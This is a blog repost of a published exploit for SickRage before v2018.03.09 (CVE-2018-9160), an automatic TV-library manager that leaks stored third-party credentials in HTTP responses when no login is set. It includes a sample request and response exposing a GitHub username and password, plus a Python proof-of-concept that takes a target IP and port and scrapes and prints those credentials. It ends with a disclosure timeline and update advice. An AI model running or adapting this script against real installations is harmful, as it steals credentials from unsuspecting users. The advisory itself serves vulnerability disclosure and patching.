Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86381980

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
# Exploit Title: SickRage < v2018.03.09 - Clear-Text Credentials HTTP Response
# Date: 2018-04-01
# Exploit Author: Sven Fassbender
# Vendor Homepage: https://sickrage.github.io
# Software Link: https://github.com/SickRage/SickRage
# Version: < v2018.03.09-1
# CVE : CVE-2018-9160
# Category: webapps

#1. Background information

"SickRage is an automatic Video Library Manager for TV Shows.
It watches for new episodes of your favourite shows, and when they are posted it does its magic: 
automatic torrent/nzb searching, downloading, and processing at the qualities you want." --extract from https://sickrage.github.io

#2. Vulnerability description

SickRage returns clear-text credentials for e.g. GitHub, AniDB, Kodi, Plex etc. in HTTP responses. 
Prerequisite is that the user did not set a username and password for their SickRage installation. (not enforced, default)

HTTP request:
GET /config/general/ HTTP/1.1
Host: 192.168.1.13:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.13:8081/config/backuprestore/
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1

	 
HTTP response:
HTTP/1.1 200 OK
Content-Length: 113397
Vary: Accept-Encoding
Server: TornadoServer/4.5.1
Etag: "e5c29fe99abcd01731bec1afec0e618195f1ae37"
Date: Fri, 02 Mar 2018 10:47:51 GMT
Content-Type: text/html; charset=UTF-8


<!DOCTYPE html>
<html lang="nl_NL">
    <head>
		[...]
        <input type="text" name="git_username" id="git_username" value="email@example.com" class="form-control input-sm input300" autocapitalize="off" autocomplete="no" />
        [...]
        <input type="password" name="git_password" id="git_password" value="supersecretpassword" class="form-control input-sm input300" autocomplete="no" autocapitalize="off" />
		[...]
        </div>
    </body>
</html>

#3. Proof of Concept

#!/usr/bin/env python
import urllib3
import sys
import requests
from BeautifulSoup import BeautifulSoup

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
init(autoreset=True)

if __name__ == '__main__':
	if len(sys.argv) != 3:
		print "Usage: $ " + sys.argv[0] + " [IP_adress] [port]"
	else:
		host = sys.argv[1]
		print "https://www.shodan.io/host/{0}".format(host)
		port = sys.argv[2]
		print "*** Get GitHub User credentials from SickRage ***"
		url = "http://{0}:{1}/config/general".format(host, port)
		response = requests.get(url, timeout=5)
		parsed_html = BeautifulSoup(response.text)
		try:
			git_username = parsed_html.body.find('input', {'id': 'git_username'}).get("value")
			git_password = parsed_html.body.find('input', {'id': 'git_password'}).get("value")
			if str(git_password) != "None" and str(git_password) != "None":
				if len(git_password) >= 1 and len(git_username) >= 1:
					print str(git_username)
					print str(git_password)
		except AttributeError:
			pass


#4. Timeline

[2018-03-07] Vulnerability discovered
[2018-03-08] Vendor contacted
[2018-03-08] Vendor replied
[2018-03-09] Vulnerability fixed. (https://github.com/SickRage/SickRage/compare/v2018.02.26-2...v2018.03.09-1)

#5. Recommendation

Update the SickRage installation on v2018.03.09-1 or later. 
Protect the access to the web application with proper user credentials.